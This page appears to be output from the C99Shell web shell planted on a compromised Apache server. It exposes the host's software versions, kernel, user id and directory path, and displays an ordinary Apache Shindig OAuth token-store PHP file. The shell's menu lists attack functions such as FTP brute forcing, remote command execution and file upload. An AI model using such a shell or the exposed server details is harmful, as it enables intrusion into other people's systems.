!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/shindig/src/gadgets/oauth/   drwxr-xr-x
Free 13.96 GB of 61.93 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GadgetOAuthTokenStore.php (7.75 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing,
 * software distributed under the License is distributed on an
 * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
 * KIND, either express or implied.  See the License for the
 * specific language governing permissions and limitations
 * under the License.
 */

class OAuthStoreException extends GadgetException {
}

/**
 * Higher-level interface that allows callers to store and retrieve
 * OAuth-related data directly from {@code GadgetSpec}s, {@code GadgetContext}s,
 * etc. See {@link OAuthStore} for a more detailed explanation of the OAuth
 * Data Store.
 */
class GadgetOAuthTokenStore {

  
// we use POST if no HTTP method is specified for access and request URLs
  // (user authorization always uses GET)
  
public static $DEFAULT_HTTP_METHOD "POST";

  
/**
   * @var OAuthStore
   */
  
private $store;

  
/**
   * @var GadgetSpec
   */
  
private $gadgetSpec;

  
/**
   * @var BasicGadgetSpecFactory
   */
  
private $specFactory;

  
/**
   * Public constructor.
   *
   * @param store an {@link OAuthStore} that can store and retrieve OAuth
   *              tokens, as well as information about service providers.
   */
  
public function __construct($store$specFactory) {
    
$this->specFactory $specFactory;
    
$this->store $store;
  }

  
/**
   * Stores a negotiated consumer key and secret in the gadget store.
   * The "secret" can either be a consumer secret in the strict OAuth sense,
   * or it can be a PKCS8-then-Base64 encoded private key that we'll be using
   * with this service provider.
   *
   * @param gadgetUrl the URL of the gadget
   * @param serviceName the service provider with whom we have negotiated a
   *                    consumer key and secret.
   */
  
public function storeConsumerKeyAndSecret($gadgetUrl$serviceName$keyAndSecret) {
    
$providerKey = new ProviderKey();
    
$providerKey->setGadgetUri($gadgetUrl);
    
$providerKey->setServiceName($serviceName);
    
$this->store->setOAuthConsumerKeyAndSecret($providerKey$keyAndSecret);
  }

  
/**
   * Stores an access token in the OAuth Data Store.
   * @param tokenKey information about the Gadget storing the token.
   * @param tokenInfo the TokenInfo to be stored in the OAuth data store.
   */
  
public function storeTokenKeyAndSecret($tokenKey$tokenInfo) {
    
$getGadgetUri $tokenKey->getGadgetUri();
    if (empty(
$getGadgetUri)) {
      throw new 
Exception("found empty gadget URI in TokenKey");
    }
    
$getUserId $tokenKey->getUserId();
    if (empty(
$getUserId)) {
      throw new 
Exception("found empty userId in TokenKey");
    }
    
$this->store->setTokenAndSecret($tokenKey$tokenInfo);
  }

  
/**
   * Retrieve an OAuthAccessor that is ready to sign OAuthMessages.
   *
   * @param tokenKey information about the gadget retrieving the accessor.
   *
   * @return an OAuthAccessorInfo containing an OAuthAccessor (whic can be
   *         passed to an OAuthMessage.sign method), as well as httpMethod and
   *         signatureType fields.
   */
  
public function getOAuthAccessor(TokenKey $tokenKey$ignoreCache) {
    
$gadgetUri $tokenKey->getGadgetUri();
    if (empty(
$gadgetUri)) {
      throw new 
OAuthStoreException("found empty gadget URI in TokenKey");
    }
    
$getUserId $tokenKey->getUserId();
    if (empty(
$getUserId)) {
      throw new 
OAuthStoreException("found empty userId in TokenKey");
    }
    
$gadgetSpec $this->specFactory->getGadgetSpecUri($gadgetUri$ignoreCache);
    
$provInfo $this->getProviderInfo($gadgetSpec$tokenKey->getServiceName());
    return 
$this->store->getOAuthAccessorTokenKey($tokenKey$provInfo);
  }

  
/**
   * Reads OAuth provider information out of gadget spec.
   * @param spec
   * @return a GadgetInfo
   */
  
public static function getProviderInfo(GadgetSpec $spec$serviceName) {
    
$oauthSpec $spec->oauth;
    if (
$oauthSpec == null) {
      
$message "gadget spec is missing /ModulePrefs/OAuth section";
      throw new 
GadgetException($message);
    }
    
$service null;
    if (isset(
$oauthSpec[$serviceName])) {
      
$service $oauthSpec[$serviceName];
    }
    if (
$service == null) {
      
$message '';
      
$message .= "Spec does not contain OAuth service '";
      
$message .= $serviceName;
      
$message .= "'.  Known services: ";
      foreach (
$services as $key => $value) {
        
$message .= "'";
        
$message .= $key;
        
$message .= "'";
        
$message .= ", ";
      }
      throw new 
GadgetException($message);
    }
    
$provider = new OAuthServiceProvider($service->getRequestUrl(), $service->getAuthorizationUrl(), $service->getAccessUrl());
    
$httpMethod null;
    switch (
$service->getRequestUrl()->method) {
      case 
"GET":
        
$httpMethod OAuthStoreVars::$HttpMethod['GET'];
        break;
      case 
"POST":
      default:
        
$httpMethod OAuthStoreVars::$HttpMethod['POST'];
        break;
    }
    
$paramLocation null;
    switch (
$service->getRequestUrl()->location) {
      case 
OAuthStoreVars::$OAuthParamLocation['URI_QUERY']:
      case 
OAuthStoreVars::$OAuthParamLocation['POST_BODY']:
      case 
OAUthStoreVars::$OAuthParamLocation['AUTH_HEADER']:
        
$paramLocation $service->getRequestUrl()->location;
        break;
      default:
        
$paramLocation OAuthStoreVars::$OAuthParamLocation['AUTH_HEADER'];
        break;
    }
    
$provInfo = new ProviderInfo();
    
$provInfo->setHttpMethod($httpMethod);
    
$provInfo->setParamLocation($paramLocation);
    
// TODO: for now, we'll just set the signature type to HMAC_SHA1
    // as this will be ignored later on when retrieving consumer information.
    // There, if we find a negotiated HMAC key, we will use HMAC_SHA1. If we
    // find a negotiated RSA key, we will use RSA_SHA1. And if we find neither,
    // we may use RSA_SHA1 with a default signing key.
    
$provInfo->setSignatureType(OAuthStoreVars::$SignatureType['HMAC_SHA1']);
    
$provInfo->setProvider($provider);
    return 
$provInfo;
  }

  
/**
   * Extracts a single oauth-related parameter from a key-value map,
   * throwing an exception if the parameter could not be found (unless the
   * parameter is optional, in which case null is returned).
   *
   * @param params the key-value map from which to pull the value (parameter)
   * @param paramName the name of the parameter (key).
   * @param isOptional if it's optional, don't throw an exception if it's not
   *                   found.
   * @return the value corresponding to the key (paramName)
   * @throws GadgetException if the parameter value couldn't be found.
   */
  
static function getOAuthParameter($params$paramName$isOptional) {
    
$param = @$params[$paramName];
    if (
$param == null && ! $isOptional) {
      
$message "parameter '" $paramName "' missing in oauth feature section of gadget spec";
      throw new 
GadgetException($message);
    }
    return (
$param == null) ? null trim($param);
  }
}

class 
GadgetInfo {
  private 
$serviceName;
  private 
$providerInfo;

  public function 
getServiceName() {
    return 
$this->serviceName;
  }

  public function 
setServiceName($serviceName) {
    
$this->serviceName $serviceName;
  }

  public function 
getProviderInfo() {
    return 
$this->providerInfo;
  }

  public function 
setProviderInfo(ProviderInfo $providerInfo) {
    
$this->providerInfo $providerInfo;
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.9505 ]--